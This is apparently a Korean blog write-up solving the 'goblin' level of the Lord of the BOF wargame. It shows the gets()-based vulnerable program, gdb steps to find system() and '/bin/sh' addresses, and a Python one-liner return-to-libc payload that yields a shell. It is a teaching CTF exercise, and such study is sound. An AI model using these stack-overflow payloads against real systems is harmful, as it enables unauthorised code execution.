[LOB] - cobolt -> goblin 풀이
글 작성자: Universe7202
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
이번 문제는 작은 크기의 buffer 에 gets() 함수로 사용자에게 입력을 받고 있다.
이전 문제 풀이와 똑같이 RTL 공격 기법을 사용할 것이다.
RTL에 대한 설명은 아래 링크에 설명되어 있다.
https://lactea.kr/entry/bof-Return-to-Libc-RTL-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95?category=866608
아래 명령어 처럼 goblin 바이너리 파일을 copy 해서 gdb로 까본다.
[cobolt@localhost cobolt]$mkdir tmp
[cobolt@localhost cobolt]$ cp goblin ./tmp/goblin_copy
[cobolt@localhost cobolt]$ cd tmp
[cobolt@localhost tmp]$ ls
goblin_copy
[cobolt@localhost tmp]$ gdb -q goblin_copy
(gdb)
main 함수에 breakpoint를 건 다음, 실행해서 p system 명령어로 system 함수의 주소를 찾는다.
system() 함수의 주소는 0x40058ae0이다.
(gdb) b *main
Breakpoint 1 at 0x80483f8
(gdb) r
Starting program: /home/cobolt/tmp/goblin_copy
Breakpoint 1, 0x80483f8 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb)
/bin/sh 문자열을 찾기 위해 아래 c코드를 컴파일 해서 /bin/sh 문자열의 주소를 찾는다.
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[]) {
long shell;
shell = 0x40058ae0;
while(memcmp((void*)shell,("/bin/sh"),8)) shell++;
printf("%p\n",shell);
}
위 코드를 컴파일 해서 실행한 결과 0x400fbff9 임을 알 수 있다.
[cobolt@localhost tmp]$ ./getString
0x400fbff9
따라서 stack에 넣을 값은 아래와 같다.
[Dummy Code(20bytes)] + [system addr] + [AAAA] + [/bin/sh addr]
이번 문제는 gets() 함수로 값을 입력 받기 때문에 아래 처럼 (python -c 'print "A"';cat) | ./goblin 으로 해야 된다.
아래처럼 shell을 획득한 것을 볼 수 있다.
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'; cat)|./goblin
AAAAAAAAAAAAAAAAAAAA@AAAA@
whoami
goblin
my-pass
euid = 503
hackers proof
'🚩CTF' 카테고리의 다른 글
[LOB] - orc -> wolfman 풀이 (0) | 2019.10.04 |
---|---|
[LOB] - goblin -> orc 풀이 (0) | 2019.10.04 |
[LOB] - gremlin -> cobolt 풀이 (0) | 2019.10.04 |
[LOB] - gate -> gremlin 풀이 (0) | 2019.10.04 |
[webhacking.kr 2019 old] - challenge 18 (0) | 2019.10.01 |
댓글
이 글 공유하기
다른 글
-
[LOB] - orc -> wolfman 풀이
[LOB] - orc -> wolfman 풀이
2019.10.04 -
[LOB] - goblin -> orc 풀이
[LOB] - goblin -> orc 풀이
2019.10.04 -
[LOB] - gremlin -> cobolt 풀이
[LOB] - gremlin -> cobolt 풀이
2019.10.04 -
[LOB] - gate -> gremlin 풀이
[LOB] - gate -> gremlin 풀이
2019.10.04